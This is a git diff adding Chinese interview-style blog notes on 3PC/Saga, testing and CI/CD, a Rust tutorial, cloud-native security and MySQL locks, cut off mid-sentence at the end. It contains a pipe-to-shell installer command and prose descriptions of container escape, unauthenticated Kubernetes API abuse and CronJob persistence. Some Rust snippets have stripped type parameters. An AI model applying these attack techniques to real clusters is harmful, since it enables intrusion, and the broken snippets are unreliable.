+如果它在PreCommit阶段超时,它会选择提交(Commit)事务,因为它已经收到了准备提交的指示。 +这样设计的目的是为了确保即使在协调者或其他参与者失败的情况下,系统也能以一种一致的状态恢复。 + +在DoCommit阶段,如果参与者(Participant)在等待协调者(Coordinator)的DoCommit消息时超时,通常会有以下几种处理方式: + +默认提交(Default Commit): 由于参与者已经在PreCommit阶段收到了准备提交的指示,因此它可以安全地默认为事务应该被提交。这是基于假设,即协调者在发送PreCommit消息后不会改变主意。 + +查询其他参与者或新的协调者: 如果可能,参与者可以查询其他参与者或一个新选出的协调者,以确定是否有DoCommit或Abort的全局决定。 + +持久化状态并等待恢复: 参与者可以选择将其当前状态(即已收到PreCommit但尚未收到DoCommit)持久化到磁盘,并等待协调者或系统恢复后再做出决定。 + +应用层重试或人工干预: 在某些情况下,应用逻辑可能会选择重试操作或需要人工干预来解决这种死锁状态。 + +在DoCommit阶段超时的情况下,最安全的做法通常是默认提交,因为这是在PreCommit阶段已经达成的共识。然而,这也取决于具体的应用场景和一致性需求。 + + +> 网络分区: 如果在3PC的提交阶段发生网络分区,会有什么影响?如何解决? + +在3PC的提交阶段发生网络分区可能会导致一致性问题。解决方案可能包括使用更复杂的一致性算法,如Paxos或Raft,或者在网络分区解决后手动解决不一致。 + +> 实际应用: 请描述一个曾经参与的,使用3PC解决分布式事务问题的项目。 + +但在实际应用中,3PC通常用于需要高度一致性和可恢复性的分布式系统。可能的应用场景包括分布式数据库、金融交易系统等。 + +> 手写伪代码 + +```go +// 3PC Coordinator +func ThreePhaseCommitCoordinator(participants []Participant) { + // Phase 1: CanCommit? + for _, p := range participants { + send("CAN_COMMIT?", p) + } + + allAgreed := true + for _, p := range participants { + reply := receive(p) + if reply != "YES" { + allAgreed = false + break + } + } + + // Phase 2: PreCommit or Abort + if allAgreed { + for _, p := range participants { + send("PRE_COMMIT", p) + } + } else { + for _, p := range participants { + send("ABORT", p) + } + return + } + + // Phase 3: DoCommit + for _, p := range participants { + send("DO_COMMIT", p) + } +} + +``` + +```go +// SOGA Node +func SOGANode() { + // Initialization + connectToGrid() + + for { + // Listen for tasks + task := receiveTask() + if task != nil { + result := executeTask(task) + sendResult(result) + } + + // Self-organization logic + if needToReorganize() { + reorganizeGrid() + } + } +} + +``` + +> 基础理解: 请简要解释SOGA的基本概念和应用场景。 + +在分布式事务环境中,SOGA(Saga)通常用于描述一种长运行事务的解决方案。Saga是一系列本地事务,每个本地事务都有一个对应的补偿事务。如果Saga中的一个本地事务失败,将触发其后所有已完成的本地事务的补偿事务。 + + diff --git a/_posts/2024-11-15-test-markdown.md b/_posts/2024-11-15-test-markdown.md new file mode 100644 index 000000000000..9191a5f403ad --- /dev/null +++ b/_posts/2024-11-15-test-markdown.md @@ -0,0 +1,186 @@ +--- +layout: post +title: 测开 +subtitle: +tags: [测试/开发] +comments: true +--- + +## 性能和压力测试: + +测试流程 +初始设定:模拟多个用户(例如500、1000、5000用户)进行并发操作。 +关注点:响应时间、系统吞吐量、错误率。 + +排查和分析性能问题 +工具:使用性能监控工具如Grafana, Prometheus等。 +排查:定位瓶颈可能发生的地方,如数据库、网络、CPU等。 +分析:通过日志、监控数据来确定瓶颈原因。 + +优化 +根据瓶颈分析结果进行相应的优化。 +重复压力测试,验证是否解决了性能问题。 + + + +> 测试策略? + +按照测试金字塔的模式进行,主要包括单元测试、集成测试和端到端测试。 + +单元测试: 为每个模块、函数或类编写了单元测试,以确保其单一职责得到满足。 +集成测试: 在单元测试的基础上,进一步进行了API和数据库的集成测试。 +端到端测试: 我们使用Selenium进行UI测试,确保整个流程可以顺利完成。 +我们还使用了持续集成(CI)系统,每次代码提交都会触发测试流程,只有全部测试通过才能继续后续的部署流程。 + +> 如何在有限的时间和资源内优先选择测试哪些功能? + +通常会使用风险基础的测试策略来确定测试的优先级。首先,识别关键的业务流程和高风险区域。 +业务影响: 功能对业务的影响程度是一个考虑因素,例如,支付功能出现问题会直接影响到公司的收入。 +用户流量: 高用户访问量的功能会优先进行测试。 +代码复杂性: 如果代码逻辑复杂或者有大量的条件分支,那么这部分功能也会被优先考虑。 +在时间非常有限的情况下,我可能会采用探索性测试,通过这种不完全结构化的方式快速找出潜在的高风险问题。 + + +> 使用自动化测试工具或框架的经验? + +主要使用了Go的内置测试库以及一些第三方库如Testify来进行自动化测试。对于API测试,使用Postman和JMeter的经验。因为主要关注数据库中间件,所以也使用了数据库的压力测试工具,例如Sysbench。 + +> 描述一下如何从零开始设置一个自动化测试环境。 + +以Go语言和数据库中间件为例,我通常会按照以下步骤设置自动化测试环境: + +环境准备: 首先,确保Go语言的运行环境和必要的依赖库都已经安装。 + +项目结构: 在项目目录下创建一个独立的tests文件夹,用于存放所有的测试代码。 + +单元测试: 使用Go的内置测试库编写单元测试,并通过go test命令进行运行。 + +集成测试: 由于我们测试的是数据库中间件,所以需要启动一个模拟的数据库环境,这可以通过Docker来完成。然后,使用Go编写针对这个环境的集成测试。 + +测试数据准备: 使用Go的sql包或者专门的数据库驱动来插入必要的测试数据。 + +持续集成: 使用CI工具(例如Jenkins或GitHub Actions)来自动化测试流程。每次代码提交都会触发测试,并将结果报告给团队。 + +压力测试: 使用Sysbench或者自定义的Go程序来对中间件进行压力测试,观察性能瓶颈和系统的稳定性。 + +通过这样的设置,我们可以确保数据库中间件在各种条件下都能正常工作,并及时发现潜在的问题。 + + +持续集成/持续部署(CI/CD) + +> 将测试集成到CI/CD流程中的经验? +GitLab-CI:就是一套配合GitLab使用的持续集成系统 +GitLab-Runner:是配合GitLab-CI进行使用的。用来自动化执行软件集成脚本的进程。当这个工程的仓库代码发生变动时,比如有人push了代码,GitLab就会将这个变动通知GitLab-CI。这时GitLab-CI会找出与这个工程相关联的Runner,并通知这些Runner把代码更新到本地并执行预定义好的执行脚本。 + +为了利用gitlab的持续集成能力,我们可以通过在项目根目录写一个.gitlab-ci.yml配置文件来开启gitlab pipeline功能 + + +> 在CI/CD中,如何管理测试数据和测试环境的? + +测试数据:对于需要特定状态的测试,我们使用数据库迁移脚本来准备测试数据。这些脚本在每次运行测试前都会执行,确保数据的一致性。 + +测试环境:我们使用Docker容器来模拟生产环境。每次CI/CD流程触发时,都会生成一个新的容器环境来运行测试。这确保了测试环境的一致性,并且与其他任务隔离。 + +并行测试:为了加速整个测试过程,我们还利用了Jenkins的并行执行功能,使得多个测试任务可以同时进行。 + +结果反馈:测试结果 + + +> 你有没有进行过性能、负载或压力测试?使用了哪些工具? + + +工具选择: +Vegeta: 一个用Go编写的HTTP负载测试工具,适用于API性能测试。 +pprof: Go语言自带的性能分析工具,用于收集和分析CPU、内存、协程等方面的数据。 + +> 请描述一下你如何诊断和解决性能瓶颈 + + +性能分析: 我会首先使用pprof来进行基准测试和性能分析,找出CPU或内存的热点。 + +数据库优化: 如果问题出在数据库交互上,我会使用SQL分析工具进行查询优化。 + +并发优化: Go语言的goroutine非常适合进行并发优化,我会通过改进代码的并发逻辑来提高性能。 + +资源缓存: 对于重复和高频的操作,我会使用缓存机制(如Redis)来减少不必要的计算和I/O操作。 + +负载测试: 在所有优化完成后,我会使用Vegeta来模拟不同的用户负载和请求速率,确保优化效果符合预期。 + + +> 如何使用pprof来进行基准测试和性能分析,找出CPU或内存的热点? + +```go +package main + +import ( + "log" + "net/http" + _ "net/http/pprof" + "runtime" +) + +// 在main函数中或其他初始化代码中 +func main() { + runtime.SetBlockProfileRate(1) // 开启对阻塞操作的跟踪,block + runtime.SetMutexProfileFraction(1) // 开启对锁调用的跟踪,mutex + go func() { + log.Println(http.ListenAndServe(":6060", nil)) + }() + http.ListenAndServe(":8888", nil) + +} + +``` + +allocs:查看过去所有内存分配的样本(历史累计)。 +block:查看导致阻塞同步的堆栈跟踪(历史累计)。 +cmdline: 当前程序的命令行的完整调用路径(从程序一开始运行时决定)。 +goroutine:查看当前所有运行的 goroutines 堆栈跟踪(实时变化)。 +heap:查看活动对象的内存分配情况(实时变化)。 +mutex:查看导致互斥锁的竞争持有者的堆栈跟踪(历史累计)。 +profile: 默认进行 30s 的 CPU Profiling,得到一个分析用的 profile 文件(从开始分析,到分析结束) + +> StringBuffer 和 StringBuilder + +StringBuffer 和 StringBuilder 都是 Java 中用于字符串拼接的可变字符序列类。它们之间最大的区别在于 StringBuffer 是线程安全的(因为它使用了同步),而 StringBuilder 是非线程安全的。 + +这意味着,如果你的代码中有多个线程同时访问和修改同一个 StringBuffer 对象,那么 StringBuffer 可以保证在多线程环境下的正确性。而如果使用 StringBuilder,则需要你自己实现同步机制来保证在多线程环境下的正确性。 + +另外,因为 StringBuffer 使用了同步机制,所以它在单线程环境下会略微慢一些,而 StringBuilder 在单线程环境下会略微快一些。 + +在底层实现上,StringBuffer 和 StringBuilder 都使用了一个可变的字符数组来存储字符串。当需要扩展字符数组的容量时,它们都会创建一个新的字符数组,并将原来的字符串复制到新的字符数组中。 + +StringBuffer 的同步机制 +StringBuffer 使用了同步机制来保证方法的原子性和可靠性。这意味着在同一时间内,只能有一个线程执行 StringBuffer 中的同步方法,从而避免了多个线程同时修改数据的情况。 + +以下是几个关键点: + +同步方法: StringBuffer 中的方法,例如 append(), insert(), delete(), reverse() 等,都是同步方法。这意味着同一时刻只有一个线程可以调用这些方法,确保了方法的原子性。 + +锁机制: StringBuffer 内部使用一个锁对象来实现同步机制。这个锁对象会被方法调用所获取,其他线程在获取锁之前会被阻塞,从而实现线程间的同步。 + +性能影响: 尽管同步机制确保了多线程环境下的线程安全,但是也带来了性能上的开销。因为同一时间只能有一个线程访问 StringBuffer 的同步方法,其他线程必须等待锁的释放才能继续执行。 + +append() +append() 方法用于向字符串末尾添加字符序列,它的同步机制是通过锁来实现的。当一个线程调用 append() 方法时,它会获取 StringBuffer 实例对象的内部锁,然后执行添加操作,最后释放锁。这确保了同一时间只有一个线程能够执行 append() 操作,避免了多线程下数据不一致的问题。 + +```java +public synchronized StringBuffer append(String str) +``` +```java +insert() +``` +insert() 方法用于在指定位置插入字符序列,同样也使用了锁机制来实现线程安全。当一个线程调用 insert() 方法时,它会获取 StringBuffer 实例对象的内部锁,执行插入操作,最后释放锁。 +```java +public synchronized StringBuffer insert(int offset, String str) +``` +```java +delete() +``` +delete() 方法用于删除指定范围内的字符,也是一个同步方法。它在执行时会获取 StringBuffer 实例对象的内部锁,然后进行删除操作,最后释放锁。 +```java +public synchronized StringBuffer delete(int start, int end) +``` + +reverse() +reverse() 方法用于反转字符串,同样也使用了同步机制。它在执行时会获取 StringBuffer 实例对象的内部锁,执行反转操作,最后释放锁。 diff --git a/_posts/2024-11-16-test-markdown.md b/_posts/2024-11-16-test-markdown.md new file mode 100644 index 000000000000..465630e48034 --- /dev/null +++ b/_posts/2024-11-16-test-markdown.md @@ -0,0 +1,397 @@ +--- +layout: post +title: Rust 从0到1 +subtitle: +tags: [Rust] +comments: true +--- + +#### 安装 + +MacOs系统 +```shell +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +``` + +```shell +info: default toolchain set to 'stable-aarch64-apple-darwin' + + stable-aarch64-apple-darwin installed - rustc 1.73.0 (cc66ad468 2023-10-03) + + +Rust is installed now. Great! + +To get started you may need to restart your current shell. +This would reload your PATH environment variable to include +Cargo's bin directory ($HOME/.cargo/bin). + +To configure your current shell, run: +source "$HOME/.cargo/env" +gongna@GongNadeMacBook-Air ~ % +``` + + +#### PATH环境变量配置 + +(Rust的包管理工具-Cargo)需要被添加到环境变量中 + +```shell +source "$HOME/.cargo/env" +``` + +```shell +gongna@GongNadeMacBook-Air ~ % cargo --version +cargo 1.73.0 (9c4383fb5 2023-08-26) +``` + +如果你仍然遇到问题,你也可以手动将Cargo的bin目录添加到你的PATH环境变量。这通常是通过修改.bashrc、.zshrc或其他对应的shell配置文件来实现的。 + +例如,如果你使用的是zsh,你可以在~/.zshrc文件中添加以下内容: + +打开~/.zshrc文件 + +```bash +vim ~/.zshrc +``` + +```bash +export PATH="$HOME/.cargo/bin:$PATH" +``` +然后,执行source ~/.zshrc或重新打开终端窗口。 + +再次进行验证 +```shell +cargo --version +``` + +#### Vscode 配置 + +在扩展中找到 +```shell +rust-analyzer +``` +点击安装就可以了 + +在vscode验证 +```shell +rustc --version +``` +```shell +cargo --version +``` +如果在vscode执行的时候出现command not found ,那么可能是环境变量还没有生效,需要重新打开vscode即可。 + + +#### Hello World + +```shell +cargo new hello-rust +cd hello-rust +``` + +```shell + hello-rust % cargo run + Compiling hello-rust v0.1.0 (/Users/gongna/gongna-au.github.io/hello-rust) + Finished dev [unoptimized + debuginfo] target(s) in 0.55s + Running `target/debug/hello-rust` +Hello, world! +``` + + +或者手动写 + +main.rs +```rs +use actix_web::{web, App, HttpServer, Responder}; + +async fn hello() -> impl Responder { + "Hello, world!" +} + +#[actix_web::main] +async fn main() -> std::io::Result<()> { + HttpServer::new(|| { + App::new() + .route("/", web::get().to(hello)) + }) + .bind("127.0.0.1:8080")? + .run() + .await +} + +``` +```toml +[package] +name = "my_actix_web_app" +version = "0.1.0" +edition = "2018" + +[dependencies] +actix-web = "4.0" +``` +目录结构 +```shell +. +├── Cargo.toml +├── src +│ └── main.rs +``` + +```shell +cargo run +``` + +```shell +访问 127.0.0.1:8080 +``` + +当你运行cargo run命令时,Cargo(Rust的构建系统和包管理器)会执行多个步骤: + +解析Cargo.toml,确定你的依赖和设置。 +下载和编译所有依赖项。 +编译你的源代码。 +链接所有生成的对象文件和依赖库。 +输出一个可执行文件。 +这些步骤生成多个临时对象文件、库文件和其他构建产物,通常这些都会存储在target目录下。这不仅包括你的应用程序或库的最终版本,还包括用于构建和调试的各种其他文件。 + +这样做有几个优点,包括增量编译(只重新编译改变的部分,这样可以更快地编译)和更容易地管理依赖。 + +如果你想清理这些生成的文件,你可以运行cargo clean,但请注意,下次构建将不得不从头开始,因为所有的临时文件都会被删除。 + +#### Rust和Go的区别? + + +运行速度快,不需要垃圾器 +> Rust is blazingly fast and memory-efficient: with no runtime or garbage collector, it can power performance-critical services, run on embedded devices, and easily integrate with other languages. + +内存安全/线程安全 +> Rust’s rich type system and ownership model guarantee memory-safety and thread-safety — enabling you to eliminate many classes of bugs at compile-time. + +总结: + +内存安全性:Rust 强调零成本抽象和内存安全,而无需垃圾回收。Go 使用垃圾回收,但不提供 Rust 那样的内存安全保证。 + +并发模型:Go 有内置的并发模型,支持轻量级的 goroutines 和通道(channels)进行通信。Rust 也支持并发,但需要显式地管理线程和数据共享。 + +生态系统用途:Go 主要用于后端开发、微服务和快速开发,具有大量现成的库和框架。Rust 更多地用于系统编程,包括操作系统、嵌入式系统和性能关键型应用。 + +工具链:Go 有一个简单但功能全面的标准工具链,用于格式化代码、管理依赖等。Rust 的 Cargo 提供了依赖管理和构建,但 Rust 还有更复杂的构建和测试选项。 + + +#### Rust 语法快速上手 + + +变量和不变性 + +默认情况下,变量是不可变的。但你可以通过 mut 关键字使其可变。 + +```rust +let x = 5; +let mut y = 6; +y += 1; +``` +数据类型 + +Rust 是静态类型语言。常见的数据类型有整数(i32)、浮点数(f64)、布尔(bool)、字符(char)和字符串(String)。 + +```rust +let a: i32 = 100; +let b: f64 = 10.5; +``` +控制流 + +使用 if、else、loop、while 和 for 进行流程控制。 + +```rust +if a > 10 { + println!("a is greater than 10"); +} +``` +第四步:函数与模块 +创建函数使用 fn 关键字。 + +```rust +fn add(a: i32, b: i32) -> i32 { + a + b +} +``` +模块用于组织代码,使用 mod 关键字。 + +```rust +mod math { + pub fn add(a: i32, b: i32) -> i32 { + a + b + } +} +``` +在 Rust 中,模块(mod)主要用于组织代码和提供命名空间,以便代码更容易管理和复用。模块并不是与类或结构体直接相似的;它更像是一个用于包裹函数、结构体、枚举和其他模块的容器。 + +#### 语法糖 + +语法糖对比: +错误处理: +Rust: 使用 Result 和 ? 操作符进行错误传播。 +```rust +fn foo() -> Result { + Ok(1) +} +``` +```rust +fn bar() -> Result { + let x = foo()?; + Ok(x + 1) +} +``` +Rust 的 Result 类型和 ? 操作符一开始可能有点难以理解。让我解释一下: + +Result 类型: 这是一个枚举,其值可以是 Ok(T) 或 Err(E)。这种方式用于显式地处理成功和失败两种情况。 + +? 操作符: 当用于 Result 类型的变量上,它会尝试"解包" Result。如果是 Ok(T),它将取出 T 的值;如果是 Err(E),它会立即从当前函数返回该 Err(E)。 + +下面是个简单的代码示例: + +```rust +fn foo(success: bool) -> Result { + if success { + Ok(1) + } else { + Err("some error".to_string()) + } +} + +fn bar() -> Result { + let x = foo(false)?; // 这里故意让 foo 失败,返回 Err("some error") + Ok(x + 1) +} +``` +在这个例子中,foo(false) 会返回 Err("some error".to_string())。因此,foo(false)? 会立即使 bar() 函数返回 Err("some error".to_string())。 +这就是 ? 操作符的作用:如果遇到 Err,它会立即从当前函数返回该 Err,并且携带相同的错误信息。 + +如果 foo(false)? 返回一个 Err,那么 bar() 函数将会立即返回这个 Err,而不会执行 Ok(x + 1)。简言之,如果 foo(false)? 是一个错误,bar() 会提前返回,根本不会到达 Ok(x + 1) 这一行。 +Ok(x + 1) 的意义在于它不仅表示函数 bar() 执行成功,而且还返回了一个额外的信息,即 x + 1。这通常是因为这个返回值在程序逻辑中是有用的。 +直接返回 Ok(1) 当然也是有效的,但它不包含任何从 foo() 函数获取的信息。如果 bar() 的任务只是检查 foo() 是否成功执行,而不需要进一步的值,那么 Ok(1) 就够了。然而,如果 foo() 的返回值(储存在 x 中)是有用的,并需要在 bar() 返回值中反映出来,那么 Ok(x + 1) 就是更好的选择。 + +Go: 使用多返回值进行错误检查。 +```rust +func foo() (int, error) { + return 1, nil +} +``` + +```rust +func bar() (int, error) { + x, err := foo() + if err != nil { + return 0, err + } + return x + 1, nil +} +``` + +并发: +Rust: 使用 async/await 和 Future 处理异步操作。 +Go: 使用 goroutines 和 channels。 + +```rust +use std::future::Future; +use std::pin::Pin; +use std::task::{Context, Poll}; + +struct MyFuture; + +impl Future for MyFuture { + type Output = i32; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context) -> Poll { + Poll::Ready(42) + } +} + +async fn my_async_fn() -> i32 { + MyFuture.await +} + +#[tokio::main] +async fn main() { + let result = my_async_fn().await; + println!("Result: {}", result); +} + +``` + +```go +package main + +import "fmt" + +func main() { + ch := make(chan int) + go func() { + ch <- 42 + }() + result := <-ch + fmt.Println("Result:", result) +} + +``` + +数据结构初始化: +Rust: 使用 Struct { field1: value1, field2: value2 }。 +Go: 使用 &Struct{Field1: value1, Field2: value2}。 + +```rust +struct MyStruct { + field1: i32, + field2: String, +} + +fn main() { + let my_instance = MyStruct { field1: 42, field2: "Hello".to_string() }; +} +``` + +```go +package main + +type MyStruct struct { + Field1 int + Field2 string +} + +func main() { + myInstance := &MyStruct{Field1: 42, Field2: "Hello"} +} +``` + +空值/空类型: +Rust: 使用 Option 来表示一个值可能为空。 +Go: 使用 nil。 + +```rust +fn main() { + let x: Option = Some(42); + match x { + Some(val) => println!("Got a value: {}", val), + None => println!("Got nothing"), + } +} +``` + +```go +package main + +import "fmt" + +func main() { + var x interface{} + x = nil + if x == nil { + fmt.Println("Got nothing") + } else { + fmt.Println("Got a value:", x) + } +} +``` + + + diff --git a/_posts/2024-11-17-test-markdown.md b/_posts/2024-11-17-test-markdown.md new file mode 100644 index 000000000000..f4c8791ad4cb --- /dev/null +++ b/_posts/2024-11-17-test-markdown.md @@ -0,0 +1,144 @@ +--- +layout: post +title: 云原生安全漏洞 +subtitle: +tags: [云原生] +comments: true +--- + +> 攻防演练中的云原生安全: + +在云原生环境中,我会按照以下步骤组织和执行一次攻防演练: + +规划和目标设定:首先,明确演练的目的和范围,例如是否要测试某个特定的安全威胁或验证某个特定的安全控制措施。 +团队分工:建立红队(攻击团队)和蓝队(防御团队)。红队负责模拟真实的攻击者,蓝队负责防御并检测攻击。 +攻击模拟:红队使用工具和手段模拟各种攻击,例如针对Kubernetes API的攻击、容器逃逸、应用层攻击等。 +防御和检测:蓝队使用监控、日志和其他安全工具来检测和防御红队的攻击。 +结果分析:在演练结束后,整理和分析结果,识别存在的安全漏洞和不足。 +总结和反馈:基于结果,提出改进建议,修复漏洞,并调整安全策略和控制措施。 + + +> 单容器环境内的信息收集: + +在单容器环境中,我会使用以下方法来收集运行时信息: + +使用docker logs命令收集容器的日志信息。 +使用docker inspect命令获取容器的详细配置信息和元数据。 +使用docker stats命令收集容器的资源使用情况。 + +安全隐患包括: +如果容器内部的应用记录了敏感信息,例如密码或API密钥,那么这些信息可能会泄露。 +攻击者可以利用收集到的容器配置信息和元数据进行进一步的攻击。 + + +> 容器网络: + +容器网络与传统网络的主要区别在于其动态性和隔离性。容器网络是为每个容器实例动态创建的,通常使用虚拟网络技术来确保每个容器都在其自己的网络命名空间中运行。 + +与容器网络相关的常见安全问题包括: + +网络策略配置不当,导致容器间的不必要的通信。 +容器暴露不应该暴露的端口。 +对外部网络的访问未受到限制,可能导致数据泄露或被恶意利用。 +网络通信未加密,导致数据在传输过程中被截获。 + +> 关于逃逸的那些事 + + +什么是容器逃逸?它为何构成安全威胁? +容器逃逸是指攻击者从容器内部突破其隔离限制,获得对宿主机或其他容器的访问权限。这构成安全威胁,因为它可能允许攻击者获得对整个系统的控制,从而对其他容器和整个宿主机造成破坏。 + +解释privileged容器的风险,并描述如何通过mount device进行逃逸。 +privileged容器具有与宿主机相同的权限,这意味着它可以执行许多正常情况下被限制的操作。通过mount device进行逃逸的方法是,在privileged容器中,攻击者可以挂载宿主机的文件系统或设备,从而访问宿主机上的数据或执行命令。 + +如何攻击lxcfs? +lxcfs是为容器提供虚拟文件系统视图的工具。攻击lxcfs通常涉及利用其内部的漏洞或错误配置,以获得对容器外部环境的访问权限。 + +如何通过创建cgroup进行容器逃逸? +通过创建或操纵cgroup,攻击者可能能够执行一些被容器限制的系统调用或操作。例如,他们可以调整资源限制或执行其他原本被禁止的操作。 + +描述Docker in Docker和攻击挂载了主机/proc目录的容器之间的关系。 +Docker in Docker是在Docker容器内运行另一个Docker守护进程的配置。如果攻击者可以在这样的容器内执行命令,他们可能会访问宿主机上的/proc目录,从而获取系统信息或进行进一步的攻击。 + +SYS_PTRACE在容器环境中存在哪些安全风险? +SYS_PTRACE能力允许容器跟踪其他进程。在容器中,这可能允许攻击者监视其他容器的进程,或者利用ptrace相关的漏洞进行攻击。 + +描述如何利用Service Account权限过大进行攻击。 +如果Service Account的权限设置得过大,攻击者可以利用这些权限执行他们不应该能够执行的操作,例如创建新的容器、访问敏感数据或修改集群配置。 + +如何利用CVE-2020-15257? +CVE-2020-15257是一个关于containerd的漏洞,攻击者可以通过该漏洞在容器内访问Unix套接字,从而可能进行进一步的攻击。 + +怎样的内核漏洞可能导致容器逃逸? +内核漏洞,特别是那些涉及系统调用、命名空间或cgroup的漏洞,可能允许攻击者突破容器的隔离界限,从而实现逃逸。例如,通过利用这些漏洞,攻击者可能能够执行原本被禁止的系统调用,或访问容器外部的资源。 + + +> 容器相关组件的历史漏洞 + +CVE-2019-5736:这是一个与runc相关的漏洞,runc是多个容器平台(如Docker、Podman和其他)的底层组件。攻击者可以通过这个漏洞替换宿主机上的runc二进制文件,从而获得宿主机的root权限。 + +CVE-2018-1002105:这是一个Kubernetes API服务器的漏洞,允许攻击者通过API服务器的后门执行任意请求,绕过正常的认证和授权机制。 + +CVE-2020-8554:这是一个Kubernetes的服务代理(kube-proxy)相关的漏洞,攻击者可以利用这个漏洞进行端口转发攻击,对集群内的服务进行中间人攻击。 + +CVE-2020-15157:又被称为“ContainerDrip”,这个漏洞允许攻击者在containerd的镜像拉取过程中插入恶意内容。 + +CVE-2019-14271:这是Docker的一个漏洞,允许攻击者加载恶意Docker插件,然后执行任意代码。 + +CVE-2019-16884:这是runc的另一个漏洞,攻击者可以利用该漏洞提升权限并在宿主机上执行任意命令。 + +> 容器、容器编排组件API配置不当或未鉴权: + +> 描述apiserver、kubelet、dashboard、etcd、docker remote api、kubectl proxy等组件的主要功能。这些组件在未正确配置或未鉴权时可能会导致哪些安全问题? + +组件的主要功能: + +apiserver:Kubernetes API服务器是Kubernetes控制面的前端,它的主要职责是验证和配置与资源对象的数据,例如Pods、Services等。 + +kubelet:kubelet是在Kubernetes节点上运行的主要代理,它确保容器在Pod中正常运行。 + +dashboard:Kubernetes Dashboard是一个基于Web的Kubernetes用户界面,允许用户管理和监控Kubernetes集群的各种资源。 + +etcd:etcd是用于共享配置和服务发现的一致性键值存储系统。Kubernetes使用etcd存储所有集群数据。 + +docker remote api:Docker Remote API允许用户通过HTTP接口与Docker守护进程通信,进行容器管理。 + +kubectl proxy:kubectl proxy命令为Kubernetes API Server创建一个代理,使用户可以轻松访问API Server。 + +安全问题: + +apiserver:如果未正确配置,攻击者可能会绕过认证和授权机制,访问Kubernetes API,从而控制整个集群。 + +kubelet:kubelet的未授权访问可能允许攻击者执行命令或部署应用程序。 + +dashboard:历史上,Dashboard默认安装并启用了较高权限的Service Account。攻击者可以利用这一点,执行命令或窃取集群数据。 + +etcd:如果etcd暴露给外部且未加密,攻击者可以读取所有Kubernetes数据,或更改集群的状态。 + +docker remote api:如果Docker Remote API未鉴权且对外部开放,攻击者可以创建、删除或操作容器,这可能导致数据泄露或拒绝服务攻击。 + +kubectl proxy:如果公开访问,攻击者可以直接访问Kubernetes API,这可能导致数据泄露或更改集群状态。 + + +容器镜像安全问题: + +供应链攻击:容器镜像的“供应链”攻击是指在镜像构建、传输或部署的过程中插入恶意代码或依赖的攻击。例如,攻击者可能会篡改镜像构建过程中使用的基础镜像或第三方库,或者劫持镜像传输过程中的数据。 + +二次开发所产生的安全问题: + +在对Kubernetes API进行请求转发或拼接时,可能会暴露敏感信息,导致API未授权访问,或者因为未正确验证输入而遭受注入攻击。 + +Serverless: + +定义:Serverless是一种云计算执行模型,在该模型中,云提供商会动态分配机器资源来执行单个函数调用。这些函数通常用于响应事件,如HTTP请求、数据库更改或队列服务消息。 + +与容器的主要区别:容器是为长时间运行的应用程序设计的,并且它们通常包含一个完整的运行时环境。而Serverless函数是为短暂的、事件驱动的操作设计的,它们通常只包含执行特定任务所需的代码和依赖。 + +攻击公共容器/镜像:攻击者可能会寻找公共容器或镜像中的已知漏洞,或者发布包含恶意代码的镜像,等待其他用户使用。 + +APISIX的RCE利用:RCE(远程代码执行)是指允许攻击者在远程系统上执行任意代码的漏洞。关于APISIX的具体RCE利用方式,我需要更多的上下文,但一般来说,它可能涉及到发送恶意构造的请求来触发漏洞。 + +其他利用场景和手法: + +从CronJob谈起,持久化攻击在Kubernetes环境中可以通过创建恶意的CronJobs来实现。例如,攻击者可以创建一个CronJob,每隔一段时间就执行恶意活动,如数据窃取、资源利用或进一步的攻击。这种方式可以确保即使攻击者的初始入侵点被消除,他们仍然可以在集群中保持活跃。 + diff --git a/_posts/2024-11-18-test-markdown.md b/_posts/2024-11-18-test-markdown.md new file mode 100644 index 000000000000..fd232f95846f --- /dev/null +++ b/_posts/2024-11-18-test-markdown.md @@ -0,0 +1,334 @@ +--- +layout: post +title: 全局锁/表级锁/行锁 +subtitle: +tags: [锁] +comments: true +--- + +## 表级锁 + +> 表锁 + +先来说说表锁。 + +如果我们想对学生表(t_student)加表锁,可以使用下面的命令: + +```shell +//表级别的共享锁,也就是读锁; +lock tables t_student read; +``` +```shell +//表级别的独占锁,也就是写锁; +lock tables t_stuent write; +``` +需要注意的是,表锁除了会限制别的线程的读写外,也会限制本线程接下来的读写操作。 + +也就是说如果本线程对学生表加了「共享表锁」,那么本线程接下来如果要对学生表执行写操作的语句,是会被阻塞的,当然其他线程对学生表进行写操作时也会被阻塞,直到锁被释放。 + +要释放表锁,可以使用下面这条命令,会释放当前会话的所有表锁: +```shell +unlock tables +``` +另外,当会话退出后,也会释放所有表锁。 + + +> 为什么需要意向锁? + +在一个多用户并发环境中,对数据库表进行修改(插入、更新、删除等)前,理论上需要检查没有其他事务在同一个表的任何其他记录上持有不兼容的锁。在没有意向锁的情况下,需要扫描整个表来查找这些锁,这是非常低效的。 + + +如何工作? +意向共享锁(Intention Shared Locks): 在打算给某一行或多行加共享锁之前,首先给整个表加一个意向共享锁。 + +意向独占锁(Intention Exclusive Locks): 在打算给某一行或多行加独占锁之前,首先给整个表加一个意向独占锁。 + +这样做的优点是,当一个事务尝试在整个表上获取一个锁时(比如,一个独占表锁),它可以快速地通过检查表级的意向锁来确定是否有冲突,而不需要扫描整个表的所有行锁,意向锁的目的是为了快速判断表里是否有记录被加锁。 + +> 意向锁的目的是为了快速判断表里是否有记录被加锁。 + +```shell +//先在表上加上意向共享锁,然后对读取的记录加共享锁 +select ... lock in share mode; + +//先表上加上意向独占锁,然后对读取的记录加独占锁 +select ... for update; +``` + +实际应用: +例如,在 SQL 语句中: +SELECT ... LOCK IN SHARE MODE 将首先添加一个意向共享锁,然后为选定的记录添加共享锁。 +SELECT ... FOR UPDATE 将首先添加一个意向独占锁,然后为选定的记录添加独占锁。 + +兼容性: +意向锁之间是兼容的(可以有多个意向共享锁或意向独占锁)。 +行锁和对应的意向锁是兼容的(比如,持有意向共享锁的事务可以在表中的特定行上加共享锁)。 + + +AUTO-INC 锁和轻量级锁是 MySQL 中用于管理具有 AUTO_INCREMENT 属性的列的两种不同机制。这两种机制的主要目的是确保自增字段的值是唯一和连续的,但它们在实现和性能方面有所不同。 + +> AUTO-INC 锁 + +当使用标准的 AUTO-INC 锁时,整个插入操作(从获取自增 ID 到插入完成)都是在锁的保护下完成的。也就是说,在一个事务获取了 AUTO-INC 锁并进行插入操作之后,其他所有尝试插入记录到同一个表的事务都会被阻塞,直到第一个事务完成插入操作并释放锁。这确保了自增 ID 的连续性,但会降低并发插入操作的性能。 + +轻量级锁 +轻量级锁则更加灵活。这种锁只在分配自增 ID 的瞬间锁定,一旦 ID 